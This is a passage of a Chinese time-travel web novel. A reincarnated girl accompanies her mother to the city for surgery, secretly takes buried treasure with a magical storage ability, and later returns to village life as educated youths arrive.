宋茹还想邀请，又想到自家住的也不宽裕，邀请人过去也是挤得难受，住招待所反而宽松些，便没再继续。 “那我带你们去招待所吧，那的路可不好找。”宋茹很是热心，刚走几步，就被不长眼的给拦下来了。 “小茹？” 一个头发不知道抹了多少层油的男人从远处走过来，身后还跟着个娇小的女人。 “真的是你啊？” “听说你……我很抱歉。”男人嘴里道歉，眼睛里却写满了鄙夷。 宋茹看着他就烦，这个男人是她的竹马，叫赵擎。 在她被拐后，迅速和她表妹成了家。 当时她被拐也是因为她表妹约她去电影院，一到地方她就被人打晕拐走了。 历经千难万阻回到家里，才发现，她表妹回家给家里说的是，她和一个男人私奔了。 她爹不相信，一直在找她。 她表妹包括那个所谓的小姨都在劝她爹放弃吧，说她只是去寻找自己的幸福了。 她小姨早年丧夫，一直想改嫁进他们家，宋茹是知道的。 之前甚至还劝过她爹，小姨对她好，两家并为一家也好，她爹惦念着她娘，一直不同意。 现在想想，宋茹都想扇自己两个大巴掌，真真就自己引狼入室，害了自己。 “表姐。”林晚晚怯怯的喊。 “别叫我表姐，谁是你表姐。” 回家的第一时间，她就告诉了父亲，然后迅速和小姨还有外婆那一大家子吸血鬼断绝了关系。 想将林晚晚给绳之以法，又苦于没证据。 只好就此作罢。 这两人竟然还敢舞到自己面前来？ 真当自己是软柿子了。 “表姐，你还在怪我是不是？当时我也只是看见你和一个男人走了，所以才认为你和别人私奔了。”林晚晚眼睛里噙满了泪水。 ‘啪’ 宋茹上去就是一巴掌。 “表……” ‘啪、啪、啪’ 还能再说话，看来是没被打够。 “小茹，你怎么能打……” ‘啪’ 狗男人也该打。 一连打了两个仇人。 爽了。 “好狗不挡路，让让。”宋茹拉着钟莹莹，推开两人就要走。 林晚晚却不想放过这么好的落井下石的机会。从小到大她都比不过宋茹，家世家世比不上，样貌样貌比不上。 这次，宋茹拥有的一切差一点就可以变成她的，为什么？为什么她要回来。 林晚晚恨啊。 “表姐，这孩子是谁？该不会是你在乡下生的私生女吧？”林晚晚知道不可能，但是不妨碍她说出来恶心宋茹。 这下不用宋茹出手，陈显英扯着头发就给了她俩大巴掌。 “说话就说话，扯我们家孩子干嘛？” 林晚晚以为自己戳到了宋茹痛处，也顾不得自己身上的痛，继续嘲讽道：“这俩该不会是你公婆吧？表姐。” “看来当时我没看错啊，你就是和男人私奔了。” 宋茹突然之间不想走了，今天不给她撕吧明白了，她就不是小霸王‘茹’。 ‘啪啪啪……’ “我叫你私奔，你全家都跟人私奔了。”一套连环巴掌就冲着林晚晚的脑袋下去了。 打完仍不解气。 扯着她的头发，膝盖猛顶她的肚子，直接给林晚晚顶的口水都吐出来了。 钟伟先护着钟莹莹离这场闹剧远远的。 赵擎想过去帮自己老婆，陈显英胳膊一伸就给人拦住了：“女人打架，男人插什么手？” 这俩人一看就不是啥好东西，宋茹只有一个人，还遭遇了那样的事，陈显英想着顺手帮一下就帮了，骂自家闺女的也该打。 赵擎一向自诩有绅士风度，告诫自己不和一个乡下婆子计较。 竟然真就这么眼巴巴站着看着自己老婆挨打。 钟莹莹看着赵擎，总觉得眼熟，这人她前世一定见过。 “干什么的、干什么的？”正当林晚晚好不容易突破宋茹的钳制，想要反手打回去时，一队身穿警服的帽子叔叔突然出现。直接把宋茹和林晚晚都扣住了。 “谁让你们在这打架斗殴的？” “都带走。”看着边上围观的钟家人和赵擎，领头的那个警察打手一挥，全部带走。 就这样，钟家三口人刚出火车站就进了警察局。 “姓名？” “家庭住址？” “来海市做什么的？” 警察将几人分开来，一个个审问。 这个时候破坏份子多，不能保证他们不是可疑人物。 大人受审，钟莹莹被一个女警抱到一边去，一边给拿了个肉包子啃着，一边旁敲侧击着问发生了什么事。 “宋茹姐姐要带我们去招待所，那个矮姐姐突然骂人，还骂我，然后就打起来了。” 钟莹莹是不吝啬在这个时候给林晚晚上眼药的，骂她是私生女，她小小的报复一下也是应该的。 女警是认识宋茹的，当时宋茹的案子是她办的。 宋茹和林晚晚的关系很僵，因为宋茹指控是林晚晚拐卖了她。 女警调查了很久，也没查出证据，最后林晚晚只能无罪释放。 如果是林晚晚先骂人，才打起来的，那也正常。 林晚晚挑事，林晚晚挨打，还手了，只能算互殴，双方各打二十大板，等家里人过来保释他们回去就行。 宋冬宇被通知后，匆忙来保释的时候，让女儿站起来，前前后后都仔细用眼神检查了一遍，确认她不是挨打的那一方，才去警察那里交钱签字。 钟家人最后也没有去招待所住，而是被宋冬宇一块带回了宋家，厂里有宿舍，他把自己的房间让出来给宋家人住，他晚上去厂里住。 到宋家，临到吃饭的时候，钟莹莹才想起来究竟在哪里见过赵擎，手机短视频里。 里面记载了赵擎的发家史，包括他家当年是如何带着财产远渡重洋的。 这财产来路也不正，是一孤寡老头的，战争时期，赵擎他爹害了那老头，夺了人家房子，后面又在风暴来临前挖出那一笔财宝，去了大洋彼岸，等到祖国风平浪静后，又以知名侨裔的身份归国。 赵家得到的那埋东西的破落小院，钟莹莹记得清清楚楚，以前刷手机的时候，还想过，要是自己穿越了，一定要先一步去挖了那批宝贝。 这下子可以梦想成真了。 第25章 “陈大姐这病啊，去教会医院比较好，那边有洋人医生。”开刀做手术，外国人还是要比国内的技术要好一点，他们比国内领先了太多。 “教会医院的收费比较贵，不过你们也不用太担心。符合条件的，术后可以申请费用减免。”宋冬宇在海市生活几十年，这里大大小小的地方他多多少少都了解些。 尤其医院，生老病死，那是必须打招呼的地方。 “我托人在那边给你们挂个号，等下午你们直接过去看病就好。”宋冬宇方方面面都考虑到了。 “那就太感谢了。”一来海市就能遇到宋家人，真是他们的幸运。 让他们自己去转悠，不知道要多花多少功夫呢？ “客气啥，应该是我谢谢你们才对。” “小茹都和我说了，要没有你家闺女的帮助，她可能真的就跑不出来了。”虽然加害者是钟家的前女婿，但是宋冬宇将两者分的很开，恩是恩，仇是仇，他不能把仇抱在无辜的人身上。 他亡妻就给他留下一个女儿，要是女儿没了，他不知道自己还能不能再活在这人世间，也不知道自己还有没有脸到地底下去见亡妻。 林家人是真该死，他不会放过他们的。 以前的小打小闹，坑小茹的零花钱，都算不得什么大事。他们千不该，万不该，动了歪心思，想要取了小茹的性命。 因为拖了关系，检查和住院流程都走的异常顺利。 通过X光检查，只查出子宫内有一个小小的瘤子。 医生说具体情况得先切了瘤子观察检验一下，看需不要再进行后续的治疗。 还说他们很幸运，他还是第一次见症状这么轻就过来做手术的。 瘤体小，刀口就小，做了手术也更容易恢复。 钟伟先陪着陈显英一块住院，医生给提供了一张简陋的陪护床。 条件有限，钟莹莹就被宋茹带回了宋家跟她住。 陈显英的手术是安排在第三天。 整个人都休息好了，身体状况得到最大的恢复，再进行手术，风险也会降低一些。 “莹莹，你娘会好好的，对吧？”钟伟先等在手术室门口，紧紧捏住了钟莹莹的手。 “一定会好的。”钟莹莹心里也有些没底。 此刻她在心里默默祈求漫天神佛，既然能够让她来到这个时代，那一定要让她娘好好的，她以后一定多做好人好事，努力为国家做贡献。 时间一分一秒的过去，手术实的灯一直亮着。 宋茹过来的时候，就见父女俩一动不动的守在门前。 “钟叔，你也吃点饭，等会儿大娘出来了，你还得照顾他呢。”宋茹好声好气的劝道。 “爹？”钟莹莹伸出手在钟伟先面前晃了晃。 “没事，先吃饭，谢谢小宋。”钟伟先接过饭盒，先是给钟莹莹喂了小半，剩下的才迅速扒进自己的嘴里，一盒饭很快吃完，他却尝出什么味道，一门心思惦记手术室里的人。 手术室的门开开关关，外国佬医生进进出出的往里面送东西。 一袋袋血浆被送进手术室。 终于，八个小时候，手术室的灯熄灭了。 红灯转为绿灯。 一张病床从里面被推出来。 “先生，恭喜，手术很成功。”主刀医生摘下口罩，露出满脸的笑容。 手术中的小波折，那一袋袋的血浆，个中辛苦，不足为外人道也。 好在，幸不辱使命。 “感谢老天。”钟伟先整个人似是再也支撑不住，一下子瘫倒在地。 “钟叔？”宋茹连忙去搀扶。 给人搀到椅子上休息了一会，他才行动自如。 陈显英被护士推到病房里，告知了钟伟先注意事项。 让他盯着，等病人醒后，不能下床，也不能直起身来，枕头也不能垫。 等到麻醉过去，病人完全苏醒，六个小时以后，才能给枕头。 不然可能会出现头晕恶心的症状。 术后三天吃喝拉撒都要在床上解决。 钟伟先一字一句的都记在了心里。 陈显英是过了一个多小时才醒过来的。 “莹莹？”看着女儿趴在床边睡着了，她挣扎着想要起身。 “别动。”钟伟先一把给她按回去了。 “医生说你暂时不能起来，需要平躺。” “手术很成功，接下来住院观察一段时间，如果没有问题，我们就可以回家了。”钟伟先说话的时候，泪水悄悄滑落。 天知道他有多害怕，那可是开肠破肚，有几个人经历过这事。 “别哭了，好好的福气都哭没了。” “再哭下去，我也想哭了。”做手术的是自己，他哭什么，陈显英很是无奈。 “好、好，都不哭，手术成功是喜事，大喜的日子，合该笑才是。”钟伟先想笑，咧了咧嘴巴，又憋回去了，实在笑不出来。 钟莹莹放心不下，谁劝都不行，一连在医院陪了三天，跟着钟伟先一起挤着那张狭窄又简陋的小床。 等到第四天，医生说陈显英的状况已经完全稳定下来了。 她才跟着宋茹一块回到宋家去住。 一回到宋家，宋茹就带她去澡堂子洗了个澡。 快半个月没洗澡了，钟莹莹感觉自己身上都有味了。 她娘的术后情况稳定下来了，她也有心情去考虑其他事情了。 这两天她上午在医院里陪陈显英，等到下午宋茹下班回到家，就会来接她，一块去街上溜达，熟悉熟悉环境。 这辈子的海市和上辈子的海市差距还是很大的。 没有霓虹灯的闪烁，街道都显得灰扑扑的。 宋茹一手牵着她，一手给她介绍街上的建筑。 “这是纺织厂，我上班的地方，这是海市的国营商店，里面很多外面买不到的东西，走，我带你进去看看。” “看上什么姐姐买给你。” 钟莹莹跟着她进去逛了一圈，没有开口要什么。 宋茹看上了一条红色的羊绒围巾，直接让售货员取下来，给钟莹莹试了一下，交钱拿下了。 “宋茹姐……” “逛街哪有不买东西的，别心疼钱，你姐姐能赚。”钟莹莹刚想开口拒绝，就被宋茹给堵回去了。 “走，姐姐带你下馆子去。” “我给你说啊，我们这的本帮菜，做的可地道了，那个焖蹄面，那叫一个香，包你吃了还想吃。”宋茹给自己说的都馋了。 她爹是主任，天天在厂里吃饭，也不花钱，她自己也有工作，两人赚钱一人花，没事她就下馆子。 整个海市大大小小的饭馆，可以说没有她没去过的。 今天她带钟莹莹去的是一家私房菜馆，叫兴荣馆，位置有些偏僻，在胡同里。 平常她自己一个人，是不会往这里来的，不大安全。 今天过来，是因为吃完晚饭她爹会过来接她，说好了的。 厂里还有事，宋冬宇就没跟她一起过来。 宋茹的目的地，和钟莹莹溜达几天，一直想去的那个地方，竟然重合了。 赵擎家占据的那个破落小院，就在兴荣馆的边上。 大槐树，小破院，兴荣馆，树下正前方，院子西南角，往下挖两米。 赵擎家未来发家的资本就在那里。 越是靠近，钟莹莹越是抑制不住的兴奋。 她的金手指可以将一切她触碰到的没有生命的物体收到自己的空间里，然后通过意识可以将那些东西瞬间进行分类，如果速度够快的情况下，她完全可以在瞬间，将那院子角落的一小片土地收到空间里，剔除泥土结构后，只留下那些财宝，把泥土原样还回去。 这一举动，甚至是可以在人前做，就像她从前在秧苗里抓蚂蝗一样，没有人能看出来。 有一个缺点就是，还回去的泥土，上层是完好的，但是底下却是中空的。 如果上面再施加压力，恐怕地面会立即塌陷。 那里平常也没外人去，留下来估计会给赵家人一个大大的‘惊喜’。 保险起见，她还是收敛了，决定等天黑吃完饭，没人的时候再过去收。 “莹莹，你尝尝这糟钵头，这可是兴荣馆的名菜。”宋茹夹了一筷子猪肚放到钟莹莹碗里。 糟钵头，就是猪肚、肺头等内脏，加上糟卤炖煮，酒香味浓郁，滋补暖身。 各种内脏杂货类的本就是钟莹莹的最爱，这种精加工过的更是诱人的不行。 钟莹莹左一筷子，右一筷子，吃的直接停不下来嘴。 他们只有俩人，钟莹莹人小肚子小。 所以只要了一个糟钵头和一碗焖蹄面，找店家拿了一个小碗，两人分吃一碗面。 没一会儿就吃的满头大汗。 “等明天我再打包一些给钟叔和大娘送过去。”宋茹吃着还不忘惦记医院里的两个人。 钟莹莹感觉很奇妙，自己当初的日行一善，竟然能够换来这么一个朋友尽心尽力的帮助，看来以后她还是要多做好事。 决定了，如果等会吃完饭，挖的东西里面有古董，那等到未来，她要全部捐献给国家。 如果里面是金子和钱，那她还是留下自己用。 遇到需要帮助的，她可以拿这些东西去帮助他们，为自己为家人行善积德。希望老天能保佑他们家人未来都能平平安安的。 宋冬宇忙完了过来接人，俩大一小走到那个大槐树下面的时候，钟莹莹扯扯宋茹的棉袄，让她停下，然后小声道：“我想小解。” 这边没有公厕，钟莹莹又是个小孩，宋茹给宋冬宇说了一声后，就带着钟莹莹去角落里解决了。 正好就是那个小院的西南角，在院子外面，不过并不影响钟莹莹操作。 “宋茹姐，你别看我，看我我解不出来。”钟莹莹装作很不好意思的样子。 “行，那我背过身去。” 看宋茹往前走了几步，背对着自己。 钟莹莹飞快的左右扫视了一圈，确定一个人也没有，然后解开裤子蹲下，手往墙边的地上那么一放，立马就收回了。 任谁也看不出这地底下的东西被她取走了。 她站起来提起裤子，若无其事的跟宋茹说，她好了。 第26章 回到宋家，洗漱完躺到宋茹的床上，钟莹莹快乐的直打滚。 “什么事这么高兴啊？”见她这么乐，宋茹忍不住也笑了起来。 “我娘的病好了，嘿嘿～”我还得了一大笔财宝，后面的话钟莹莹是在心里*说的。 人逢喜事精神爽，她这是双倍的喜啊！ 从小院里拿的东西足足有二十三箱，每箱都塞的满满的。 大部分是古董字画，钟莹莹看不懂。 这个等到以后开放了，捐给国家。 有两箱里面放的是金条，还有一箱是首饰。 珍珠翡翠玛瑙蜜蜡，每一件都是后世能拿到拍卖场里拍卖的宝贝。 这次真的要发财了，辛苦干几年，都比不上这一比横财。 怪不得赵擎以后能成为大富豪呢，就凭这些东西，以后随随便便拿出去一样，都足够一个普通人快快乐乐的过完一辈子了。 没让受害者的东西落入加害者的手中，她也算是做了一件好事。 “以后会更好的，大家都会平平安安的。”宋茹搂着钟莹莹，这句话不仅是对钟莹莹说的，也是对她自己说的。 自从回到海市，她夜晚时长深陷梦魇，梦到那时的事，怎么也逃不脱。 但是，钟家一行人来了之后，她再也没做过那样的梦。 因为梦里有一双小手，牵着她离开了黑暗。 宋家是两室一厅的格局。 客厅还兼了厨房，平常做饭就在角落里的煤炉子上。 宋家两父女在家吃的次数少，不是厂里食堂就是下馆子。 钟莹莹来了之后，那个煤炉子倒是经常生起火来了。 大人洗漱可以用冷水凑合，小孩子不行。 冬天的冷水一激，保准要生出冻疮不可。 陈显英是在术后半个月出院的，腹部的伤口已经初步愈合，人也可以下地短距离走动了。 医生说基本没什么大问题了，若是有不舒服，以后及时来医院复查，或者回当地的医院检查都行。 手术费已经花了二百多了，本来陈显英是想和家里人买火车票直接回家的，但是宋冬宇强行把人给留了下来。 说是等一周后去医院复查完再走，小地方的医院比不上海市的，万一回去了出问题，再来海市，麻烦更大。 钟伟先和陈显英被他说服了，就这么在宋家住了下来。 “宋老弟啊，我们麻烦你们也够久了，这复查也查了一次了，我们打算回去了。” “这段时间多谢你们的照顾了。”钟伟先实在是不知道该怎么感谢他了，给钱吧，伤感情，人家之前还给自家寄了那么多钱，买东西吧，现在在海市，买海市特产送海市人，也显得有点滑稽。 他想着，等回家一定要邮寄一些他们那的产物寄过来。 他们那有啥呢？红糖？红砖？还是他们村的咸菜？貌似都不是很合适。 等到回去之后，再好好的找一找。 “是我该感谢你们才是。”女儿之前一直做噩梦，吃不好，睡不好，那小丫头来了之后，她有了盼头，整个人气色都好了不少。 宋冬宇最近在忙着料理老丈母娘那一家。 林晚晚之前的工作是他托关系给找的，他能找，也能让她没。 本来她就借着自己的关系，工作一直不认真，对方强忍着，这下子没了后台，直接寻了个错处给她开除回家待着去了。 宋冬宇的报复会那么简单？ 当然不是。 他得到消息，上面最近开始动员待业青年上山下乡的事情。 而且好像要搞那什么票证制度，买东西都要凭票购买了。 这事要是真的，那到时候他要把林晚晚给搞到北疆去。 他年轻的时候在那里当过兵，那儿最适合让心术不正的人改邪归正了。 “哎呀，都别谢来谢去的了。” “以后常来常往就好了，又不是以后见不着了。”陈显英实在是不耐烦见两个大男人在那里腻腻歪歪的。 “也是，以后多来往。”宋冬宇乐呵呵的说。 宋茹正在这扒拉一下，那扒拉一下的给钟莹莹装送别礼物，她是这个也想给她带上，那个也想给她带上，恨不得把整个宋家给装进去。 如果说刚开始和钟莹莹交往，是因为对方曾经在黑暗中拉了她一把，那么现在则是因为相处出了真感情。 钟家人在相处中进退有度，虽然家境不如他们家，但是既不自卑，也不贪婪。 不像她外婆一家，每次来她家，见到什么好东西都想扒拉回自家。 “宋茹姐，别装了，爹要拿不下了。”钟莹莹看她左一包右一包的，实在忍不住提醒道。 他们一行人，有一个是病号，有一个是小孩，只有一个是健全的大人。 这个大人既要兼顾她这个孩子，还要照顾病号，还要提一大堆东西，哪里能做到？ “也对，那我到时候给你寄过去。”宋茹仿若大梦初醒一般，想起还有邮局这个东西。 她装的东西大部分都是她出去闲逛的时候买给钟莹莹的，有小玩具，有书本，还有各种糕点零嘴儿。 最后挑挑拣拣的拿了糕点和肉干给钟莹莹装包裹里，剩下的她一琢磨，全部邮寄过去好了。 回去的时候比来时的条件要好，宋冬宇找人给他们买了两张软卧下铺票，能够提前上火车，不用和别人挤着检票进站，铺位也比硬卧的要大要软，车厢门一关，就是一个安静的小空间，更有利于病人休息。 宋冬宇和宋茹特地请了假送钟家人进站，买了月台票，拎着行李直接给人送到了车厢内才走。 “终于要回家了，也不知道家里怎么样了。”躺在松软的铺位上，陈显英感概道。 这回去竟然比来时还要舒服，她也是赶上好时候了。 软卧车厢比硬卧人更少，直到他们回到家里，车厢里都没再进来其他人。 钟伟先睡到一半，干脆直接把那个门从里面锁了，反正如果再有人来，会敲门的。 锁住了，他们也能睡个好觉，不用时刻警惕有扒手和偷孩子的。 火车到站的时候，外面乌漆嘛黑的，直接回村显然不现实。 钟伟先最后是带着老婆孩子去招待所开了一间房睡下了，在海市没住上，回到老家终究是睡上了。 第27章 早上他们是坐牛车回去的，陈显英没办法走太久的路，钟伟先从外面雇了个牛车，又买了床被子，铺在牛车上，好让陈显英好受点。 为求稳妥，牛车晃晃悠悠的晃了一个白天才到家。 钟伟先还给人加了钱。 陈显英做完手术出来的时候，钟伟先就给家里拍了电报报平安。 到家后，家里只有钟绍华和钟明月两个人，黄有德假期用完了，需要归队，钟明芳也跟着走了，把丽丽跟他家里的三个孩子和老娘都带上了。 之前发大水，他家差点没了，他现在有家属能够随军的资格，那肯定是要全部打包带走，不然等哪天回到家，发现家没了，哭都没眼泪。 刚一到家，钟莹莹没来得及喜悦，就得到一个不幸的消息，她要开学了。 假期就这么一晃而过，她压根没有什么感觉。 为什么人要上学啊。 “莹莹，你怎么了，不开心吗？，你可是第一名诶！”楚秀秀十分羡慕，她语文考了八十多，数学才七十多，而钟莹莹考了双百分。 不知道她还有什么不开心的。 听说待会儿老师还会给考双百的发奖励呢，她只排了十七名，这种好事是轮不到她的。 “听说你假期去了海市呢，海市好玩吗？是不是有很多高楼啊？”钟莹莹边上围了一大群孩子。 他们去过最远的地方也就是县里了，海市海市，在另外一个市，都出省了，也不知道海市是不是真的有大海，他们还没见过海呢！ 毛蛋吸溜吸溜鼻涕，满脸神往。 “好了，同学们，上课了，都回到自己的座位上去。”陈萍拿起课本敲了敲桌面，围观的孩子顿时一哄而散，乖乖的回到了自己的座位上，坐好。 “老师有件喜事要告诉大家，这次我们班有三名同学考了双百分，大家鼓掌为他们喝彩～” “啪、啪、啪……” “对于这三名同学，学校决定做出如下奖励，每人奖励一元钱，和两本作业本。” “哇……” 陈萍话音刚落，就听取哇声一片。 那可是一块钱啊，不知道能买多少零嘴了。 这些孩子平时是没有零花钱的，也就过年能领到一毛两毛的压岁钱，大部分还会被家长收回。 自己想去供销社买个东西都可难了。 偏偏镇上的供销社就爱卖些零嘴儿馋他们。 钟莹莹觉得自己已经和他们不是一个等级的了。 那一大箱子金条，已经让她膨胀了，心里总琢磨着要不要做些什么。 这玩意又没有个由头，拿出来了，等到那几年，她家能被批死。 还是苟着吧。 这一苟就苟到了五年后。 国家开始禁止私人买卖，实行票证制度。 他们村像咸菜作坊一样的咸菜厂，也曾一度差点倒闭。 好在当初向上申请的时候，就是以村为名义建立的。 这个咸菜厂属于村集体的财产，并不属于个人。 管理者也是有村长兼任，并没有受到这场浪潮的牵连。 钟莹莹八岁了，在县里读初一，住校，只有周末才会回家。 跟她一起考上初中的只有楚秀秀和毛蛋，楚琳琳落选了。 刚结束第二学期的期末考试，准备收拾包袱回家教育好大侄儿，就听到有知识青年下乡到他们村了。 “叔，还要等多久啊？”毛蛋有些不耐烦了。 原本能蹭上村里的车子回家是好事，这样他们就可以不用走路了。 没曾想还要等那劳什子的知青。 也不知道还有多久才能到。 “应该快了，说是十点的火车，这都十点半了。”钟强先也急啊，前些日子在镇上开会，一个村子给分了五六个知青，说是来帮助他们干活，建设新农村的。 这些城里人懂得啥啊，知道啥是小麦苗，啥是韭菜苗吗？ 村长赶的牛车还是钟莹莹家的，因为不允许私人拥有，所以村里折价将牛收入为生产队所有了，他们现在正式的名字叫做钟家岗生产大队。 村长是大队长，大队书记是老楚。 陈显英当了记分员，之前切瘤子的事，村里人都知道了，她不能干重活了，还识字，所以经过村里投票，由她担任记分员。 “哎，来了来了，我看见他们了。” “钟家岗大队的，往这里来。”钟强先见着出站口出来一群年轻的男男女女，连声喊道。 没过几分钟，就喊来了五六个。 钟强先数了一下人数，拿着张纸条对着钟莹莹道：“大侄女，帮忙点下名，看看有没有人没到。” 钟莹莹接过纸条，有点无语，她叔又在躲懒。 “孙伟。” “到。” “张强、李莉莉、徐超。” “周岱。” “到。”一道清澈的男音响起。 念到最后一个名字，钟莹莹抬眼看了一下，岱这个名字很少见，他们这儿的人取名不是强啊，就是伟啊的。 名字的主人是个长相清隽的男生，看上去大概十七八岁。 一身洗的发白的短衫，蓝色的裤子，裤子的膝盖处还打了两个补丁。 一行五个人当中，就属他穿得最寒酸。 见点名的小孩盯着自己看，他还腼腆的笑了笑。 “人到齐了，我们就上车走吧。”钟伟先说着就赶着牛车，调转了车头。 五个人都很老实，没有作妖。 钟家岗没有再搭房子给知青，用的是吴老婆子的房子。 前两年她就没了，为了给她侄子攒钱取媳妇，一大把年纪去当挑河工修大坝，摔断了腿，侄子拿了她的钱压根不愿意理睬她。 侄女吴菊还好，过来看了几次，给她洗洗弄弄，做了几顿饭。 但她也有自己的家庭要顾，没多久吴老婆子就去了。 她那个好大侄还想要吴老婆子的房子，被钟家岗的人直接给打跑了。 吴老婆子的房子，本来就是他们钟家岗人的，再怎么样也不会给外人拿了去。 后面那房子一直空着，就给村里做了仓库。 这次接了知青，索性也给安排到那里，既能看仓库，还省得给他们找住的地方，一举两得。 知青的事跟钟莹莹没多大关系，她现在一门心思在她的好大侄身上。 也不知道熊孩子想她了没有。 在学校的每一天，她可都在思念她的好侄儿啊～ “木木，姑姑回来了～” “别跑啊～” 钟莹莹在后面追，一个大胖孩在前面哭着跑。 钟莹莹喊的越大声，那孩子跑的就越快。 第28章 “姑姑，我错了，我再也不骗楚大傻了。”小胖墩跑再快也没有比他大了五岁的人快，没一会儿就被追上了。 “真的知道错了？”钟莹莹很是怀疑。 她这个前大伯，现侄子，真就是天生坏种。 原先她以为只是后天缺乏教育，才导致他跟人学坏了，后面发现，根本就不是那么一回事。 这个孩子生来就坏，见到蚂蚁必给捏死，昆虫知了类的，他抓住了会一点点扯掉他们的肢体，满满的虐杀。 在钟莹莹的一次次爱的教育（打屁股蛋）之下，他收敛了许多，起码不再做虐待动物的事情了。 但钟莹莹总归有不在家的时候，她要上学，每周最多回来两天。 这就给了小胖墩钻空子的机会。 现在他不玩虫子了，改玩隔壁楚家的傻孩子。 从一开始的骗人家的糖，到后面的骗人家跳鱼塘，一次比一次过分。 旁人都说孩子还小，不懂事，长大就好了。 钟莹莹却知道，长大好不了，小时候不教育，长大只会变得比小时候更坏。 只要小胖墩一犯事，她就揍他，还问他错哪了，能不能改。 如果他改正了，那她下次放假就会从县里给小胖墩带礼物，如果他没有改，那下次钟莹莹回来，只要听见有人告状，迎接他的就是大棒加巴掌。 在棍棒和大枣的加持下，小胖墩却是也改正了不少坏习惯。 小胖墩大名叫钟新澄，钟莹莹帮着从家里人取的几个名字里选出来的，她希望他以后能做个正直澄澈善良的人。 不善良也行，万万不能的是天天搞事情，先搞别人，最后搞到自家人头上。 “真的错了，姑姑你别打我，呜呜……”每次姑姑一回家，自己就要挨打，爷爷奶奶都不管，自己真的太惨啦。 “你不欺负别人，下星期我带你去县里玩，那边有放电影的，可好玩了。” “真的吗？那我以后不欺负楚傻子了。”小胖墩欢呼道。 “楚傻子？”钟莹莹声音微微上扬。 “楚天宝。”小胖墩不情不愿的改口，楚天宝本来就是个傻子，不明白姑姑为啥不让自己喊。明明好多孩子都喊他傻子。 钟莹莹见她好大侄儿满脸的不情愿，把人拉过来，面对面教导：“新澄，要是别人喊你小胖子，你高兴不？” “他们不敢。”钟新澄吃的胖，又爱动，身上的肉很扎实，同龄的孩子，包括大几岁的孩子都打不过他，是孩子群里的小霸王。 “当你面不敢，那背后呢？” “谁背后说我了，姑姑我打他去。”钟新澄捏紧了自己的小拳头，只要钟莹莹一声令下，他能立马给那个人脑袋打开花。 “打、打、打，天天就知道打。” “给人打坏了，会蹲篱笆子的，你想蹲篱笆子吗？”钟莹莹伸出手指，恶狠狠的戳了戳钟新澄的脑袋。 “啥是篱笆子？”钟新澄很不解。 忘了，这家伙还是个文盲来着。 当时他也是三岁被送去上学了，因为打同学，还不听课，又被老师拒收了，说等他大点了懂事了再送到学校去。 “篱笆子就是有人把你关进小黑屋，里面黑黢黢的，啥也没有，让你再也见不到爷爷奶奶，爹娘，还有你姑姑了。” “哇……我不要蹲篱笆子，我以后不打人了。”钟新澄怕黑，一下子就被吓哭了。 “打人就蹲篱笆子，不打人就是好孩子，听懂了吗？”钟莹莹继续给他洗脑。 “嗯……懂了，我要当好孩子，不要蹲篱笆子。” 孺子可教也。 钟莹莹牵着钟新澄的手，伴着夕阳，往家走去。 夕阳下，姑侄俩的身影被拉的很长很长—— 钟家的晚饭吃的是凉拌马齿苋、酱焖小鲫鱼，陈显英用玉米面和着白面蒸了馒头，暄软又香甜。 鱼是从村里鱼塘里捞的，他们村的人这几年没少赚钱，塘里的鱼也不像过去，经常被人捞的一干二净。 村里还投了不少小鱼苗，家家户户想吃了，都可以随便去钓，就是不能撒网和下地笼，因为这是全村人共有的财产，几条 几条的抓没问题，一抓一大堆，那就是盗窃。 年底的时候，村里会把鱼塘里的水放干，把鱼抓了分掉。 这鱼村里人是用来送人，还是自家加工成咸鱼干，就没人管了。 家里在地里干活的三个劳动力还没回来，陈显英是先回来做饭的。 她把菜留了大半在灶房里，剩下的端出来给两个孩子吃。 孩子吃上了，她还得去地里记公分呢。 村里除了小孩子，其他人都得上工。 稍微大一点的孩子也会给村里干活，让陈显英给他们记一个两个的公分，这样年底分粮的时候也能多分点。 “小孩子不能吃鲫鱼。”看着眼巴巴望着盆里鲫鱼的钟新澄，陈显英给他舀了两勺鱼汤，就把鱼挪到离他最远的地方去了。 “那姑姑为什么可以吃？”钟新澄不服气。对肉食的渴望，已经战胜了他对钟莹莹的害怕。 “你姑姑是大孩子了，大孩子是能吃鱼的。”陈显英腹诽，也不知道随了谁了，这姑侄俩一个比一个馋。 “你吃鸡蛋，奶奶特意给你煮的。”说着递给钟新澄一个剥好的鸡蛋。 “那好吧。”钟新澄撇撇嘴，有些委屈，不敢说。 这熊孩子其实老实的时候也挺可爱的，不老实的时候……那还是打一顿比较好。 就说老楚那傻儿子，因为媳妇儿不能生了，老楚可是把那儿子当宝贝。 要是万一真出了什么事，老楚能来他们家拼命。 到时候是把钟新澄交出去呢？还是不交呢？ 不交就得大人承担这件事情，把人孩子搞没了，两家斗起来非得死一个不可。 把钟新澄交出去？自家孩子谁舍得。 别看钟莹莹天天动不动就揍他，但真要到那一步，最舍不得的也是她。 陈显英刚走，钟家就有人上门了。 “你好，家里有人吗？” 钟莹莹对这个声音还有些印象，是今天新来的知青。 第29章 “谁啊。”钟新澄一口吃完手里的馒头，一蹦一跳的就去给人开了门。 “不好意思打扰了，我是今天新来的知青，想问你们借点柴火。”吴老婆子家空空如也，除了几张村长放进去的竹床，啥也没有。 他们累了一天过来，吃饭可以凑合着吃点包袱里的点心，但是不能喝生水啊，身上一身汗也得洗洗澡，尤其队伍里面还有女同志，还是讲究点好。 再加上明天也不能天天吃点心，明天上工了还是得吃饭。 村长给他们支了粮食，等年底分粮的时候再扣掉这部分。 村里人这个点都在地里，他之前见钟家有人回来了，就想着来这家先借点东西，没想到还是来晚了一步，大人走了，家里只剩下两个孩子。 “外面柴火堆你自己扯就行，等到你们有了再还回来。”钟莹莹很爽快的答应了，这年头柴火也是自己一点点收集回来的，不可能白白送人。 “谢谢。” “我能再借一个筐子吗？”周岱有些不好意思，自己啥都要借。 “喏，给你。”钟新澄从屋里拖出一个旧竹筐，递给周岱。 周岱接过之后，从口袋里掏出几颗已经有点融化了的水果糖递给姐弟俩，然后拎着竹筐扯柴火去了。 钟莹莹看着手里的糖，心里想，这知青也不像那些小说里面写的，动不动就搞事啊，还挺有礼貌的。 第二天钟莹莹也跟着下了地插秧，不管能干多少活，都不能闲着，不然会有人说闲话。 插秧其实不难，用拇指和无名指夹住秧苗根系上端，然后摁进泥土里，让秧苗垂直立在泥里就行。 钟莹莹这活干了好几年，手上的动作已是非常熟练。 手指在水里一上一下，一颗秧苗就已经稳稳的屹立在土地中。 偶然碰见有不长眼的蚂蝗想要吸她的血，她也能面不改色的用秧苗将蚂蝗挑走，扔到远一点的地方去。 